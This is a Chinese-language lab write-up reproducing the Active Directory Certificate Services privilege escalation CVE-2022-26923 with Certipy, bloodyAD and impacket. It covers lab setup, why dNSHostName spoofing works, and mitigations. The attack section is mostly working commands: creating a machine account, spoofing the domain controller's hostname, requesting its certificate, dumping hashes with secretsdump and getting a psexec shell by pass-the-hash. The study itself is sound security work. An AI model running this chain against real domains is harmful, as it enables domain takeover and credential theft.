2022 年 5 月 10 日,微软发布补丁修复了一个 Active Directory
域权限提升漏洞CVE-2022–26923
。在5月份和6月份左右的复现文章中,有一个重要的工具:certipy
。在当时是版本3.0
,但是现在此工具3.0
已经被作者删除了,只有2.0
和4.0
版本,于是复现漏洞时会和之前有一些出入坑点,在这里总结一下。文章篇幅较长。
此漏洞允许低权限用户在安装了 Active Directory
证书服务(AD CS)
服务器角色的默认 Active Directory
环境中将权限提升到域管理员。
该漏洞是由于对用户属性的不正确获取,允许低权限用户在安装了Active Directory
证书服务(AD CS)
服务器角色的Active Directory
环境中将权限提升至域管理员。这一漏洞最早由安全研究员Oliver Lyak
在2021年12 月14 日通过 Zero Day Initiative
向微软报告,Microsoft
在 2022 年 5 月的安全更新中对其进行了修补。
影响范围很广泛
Windows 8.1
Windows 10 Version 1607, 1809,1909, 2004, 20H2, 21H1, 21H2
Windows 11
Windows Server 2008,2012,2016,2019,2022
实验机器:windows server 2012(DC)、kali2021(ATTACK)、windows10(域成员)
1、更改静态ip和机器名称重启计算机
2、安装域服务,除了截图部分,其他都是默认下一步。
3、提升为域控
4、添加新林,随便写一个,输入完域还原密码后一路默认按下去会自动重启。
5、重启后登录账号即可。
服务器管理器–>添加角色和功能向导–>勾选服务器角色–>Active Directory 证书服务
2、随后配置ADCS服务
3、勾选这两个,随后一路默认
4、配置成功
所需两个重要工具:certipy & bloodyAD
此工具在6月还是3.0,现在只有4.0了
https://github.com/ly4k/Certipy
git clone https://github.com/ly4k/Certipy.git
cd Certipy
proxychains python3 setup.py install #配置代理安装
https://github.com/CravateRouge/bloodyAD
git clone https://github.com/CravateRouge/bloodyAD.git
cd bloodyAD
proxychains pip3 install -r requirements.txt
对于此漏洞,可以将ADCS
仅视为身份证明,类似于Kerberos
票证。如果不想深入了解可以这么理解然后直接跳过哈。
AD CS 是一个服务器角色,用作 Microsoft 的公钥基础结构 PKI 实施。正如预期的那样,它与 Active Directory 紧密集成并支持颁发证书,这些证书是 X.509 格式的数字签名电子文档,可用于加密、消息签名和/或身份验证。
我们都知道,在域环境下,存在着用户User和计算机Machine两个组。
同时,AD CS对User和Machine有这两种不一样的模板,即域用户可以注册User
证书模板,域计算机可以注册Machine
证书模板。两个证书模板都允许客户端身份验证。
1、用户帐户具有用户主体名称 (UPN)
,而计算机帐户则没有。当我们根据User
模板请求证书时,用户帐户的 UPN 将嵌入到证书中以进行识别。当我们使用证书进行身份验证时,KDC
会尝试将 UPN 从证书映射到用户。(用户模板信息命令:certutil -v -dstemplate user
找出对应的flag值与MS文档对照一下即可。)
2、根据MS-ADTS(3.1.1.5.1.3) 唯一性约束,UPN
必须是唯一的,不能有两个具有相同UPN
的用户。
3、计算机账户是根据什么进行验证的?下图为计算机账户证书模板,是根据这个字段进行验证的。
4、根据MS-ADTS(3.1.1.5.1.3) 唯一性约束,它没有提到计算机帐户的dNSHostName
属性必须是唯一的。看到这里估计就有童鞋明白了,如果我伪造一个计算机账户的dNSHostName
属性的值为域控的值,是不是就相当于域控了?事实证明这就是漏洞关键点。
5、本质上,用户可以根据预定义的证书模板请求证书。这些模板指定最终证书的设置,例如它是否可以用于客户端身份验证、必须定义哪些属性、允许谁注册等等。
AD
中使用证书进行身份验证1、使用Certipy请求证书并进行身份验证。环境搭建的时候我们创建了一个默认的低权限用户test/456.com
。根据模板向 CA 请求证书User
。然后,我们使用颁发的证书john.pfx
对 KDC 进行身份验证。使用证书进行身份验证时,Certipy 将尝试请求 Kerberos TGT 并检索帐户的 NT 哈希。
certipy req -username test@jntm.ngm -password 456.com -ca jntm-DC2012-CA -target jntm.ngm -template User
certipy auth -pfx test.pfx -debug
2、问题总结:
如果存在下图问题,说明本地时间和DC时间不同步,重启一下机器。
如果出现KDC无效,说明域控的ADCS服务没有起来,重启一下域控机器或者手动重启即可。
如果出现保存私钥,也是重启一下。
我又新建了一个账户为hello/567.com
,使用test/456.com
登录这个域环境,更改UPN
出现了一个**约束性错误(constraint violation)**。看来UPN确实是唯一的。
之前提到,计算机账户没有UPN,根据模板看是根据DNShostname进行验证。我们尝试创建一个新的机器帐户,请求一个证书,然后使用证书进行身份验证。
1、创建一个新的机器账户,由于bloodyAD.py
创建的计算机账户没有DNShostname
,我们使用impacket
套装中的addcomputer.py
来创建
impacket-addcomputer 'jntm.ngm/test:456.com' -method LDAPS -computer-name 'catest' -computer-pass '999.com'
再次使用ADexplorer.exe
来查看,存在DNShostname
这个字段
2、使用certipy
请求证书,并且使用证书进行身份验证。
3、证书是用 DNS 主机名颁发的catest.jntm.ngm
,如果我们查看计算机帐户catest$
,我们可以注意到这个值是在dNSHostName
属性中定义的。
4、如果尝试更改dnsHostName
,我们不会遇到任何问题或违反约束,并且这个申请catest
的计算机帐户名仍然是catetst$
。
5、再次申请证书的时候,会不会改变呢?如果再次申请证书后,生成的是dddddddd.pfx
,那么就说明CA确实是根据dnshostname
进行的验证。这就证明了,计算机账户是根据dnshostname
使用证书进行身份验证的。
通过上面的两个小实验,可以大概了解到了漏洞的关键点在于:计算机账户是根据dnshostname
进行证书身份验证的,同时没有设置唯一性,通过伪造和具有写入dnshostname
权限来写入域控权限的dnshostname
伪造域控计算机账户,从而转储TGT
与域控hash
。
1、漏洞探测与盲打:假设我们通过某种漏洞拿下了一台域成员机器,并且获取到了这台域成员机器的明文密码,还有通过命令查看到了相关CA等信息,我这里省事,没有做域成员机器,直接在域控上看的。
certutil -config - -ping
PS: Get-ChildItem Cert:\LocalMachine\Root\
2、配置hosts
如图,分别为域控ip、域控机器名.域名、域名-域控机器名-CA、域名、域控机器名
这个前面提到了,这里就直接省略。
1、使用bloodyAD
查看ms-DS-MachineAccountQuota
属性,如果ms-DS-MachineAccountQuota>0
就可以创建机器帐户。
python3 bloodyAD.py -d 'jntm.ngm' -u 'test' -p '456.com' --host '192.168.111.11' getObjectAttributes 'DC=jntm,DC=ngm' ms-DS-MachineAccountQuota
2、在LDAP中创建一个机器帐户
python3 bloodyAD.py -d 'jntm.ngm' -u 'test' -p '456.com' --host '192.168.111.11' addComputer testPC '789.com*'
python3 bloodyAD.py -d 'jntm.ngm' -u 'test' -p '456.com' --host '192.168.111.11' setAttribute 'CN=testPC,CN=Computers,DC=jntm,DC=ngm' DNSHOSTName '["DC2012.jntm.ngm"]'
发现遇到了错误,我们使用ADexplorer.exe
来连接域AD查看一下,ip输入域控ip,账号随意填写一个用户和密码即可。可以看到这里并没有dNSHostName
这个属性。
尝试添加一个,显示**约束性冲突(constraint violation)**。
我们回到域控环境下,查看这个计算机账户的安全信息,可以看到是test用户创建并且DNS
写入权限是空的,也就是说无法写入DNS
值
我们将其勾选上,就能看到,再次执行之前修改DNS名称的命令并且查看属性,更改成功。
python3 bloodyAD.py -d 'yiyuan.ho' -u 'zhangsan' -p '123.com' --host '172.16.25.30' getObjectAttributes 'CN=zhangsanPC,CN=Computers,DC=yiyuan,DC=ho' DNSHostName
使用此计算机账户进行证书申请,因为对于计算机账户,CA是看它的DNSname的值进行验证的,如果这个值就是域控的DNSname,那么CA就会认为这是域控,从而给它对应的域控权限,也就是拿到了域控的TGT
。使用certipy
进行申请CA,注意-username
属性后跟的是计算机账户,也就是要加上$
符号,并且在linux系统下需要转义;同时我们这里用到的是计算机账户模板(Machine)
,不再是(User)
了。
certipy req -username testPC\[email protected].ngm -password 963.com -ca jntm-DC2012-CA -target jntm.ngm -template Machine -debug
certipy auth -pfx dc2012.pfx -debug
impacket-secretsdump 'jntm.ngm/[email protected]' -hashes :e339879db7dd5394da0d414ffdd1bbfe
impacket-psexec -hashes :afffeba176210fad4628f0524bfe1942 jntm/[email protected]
可以看到windows2016
使用bloodyAD
新建的计算机账户,默认就是具有DNS
写入权限的。之前的windows2012不知道为什么没有。
1、根据我们的复现,大概的一个防御认知就是我们需要限制证书的注册,例如将MS-DS-Machine-Account-Quota
的值改为0,这个值的含义是:允许用户在域中创建的计算机账户的数量。默认情况下这个值为10,刚才复现过程看到了。但是注意,这个并不能防御漏洞,因为攻击者虽然不能创建机器账户,但是可以破坏整个域。例如使用krbrelay
这款工具:https://github.com/cube0x0/KrbRelay
2、安装微软官方发布的补丁。https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923
3、不要安装ADCS服务就行了,这个漏洞只在有ADCS的域环境中才有利用的可能,不过这个方法过于激进。。
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1
https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4
https://cloud.tencent.com/developer/article/2019209
MS-ADTS 3.1.1.5.1.3 唯一性约束:
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3c154285-454c-4353-9a99-fb586e806944
文章来源:HACK技术沉淀营
如有侵权,请联系删除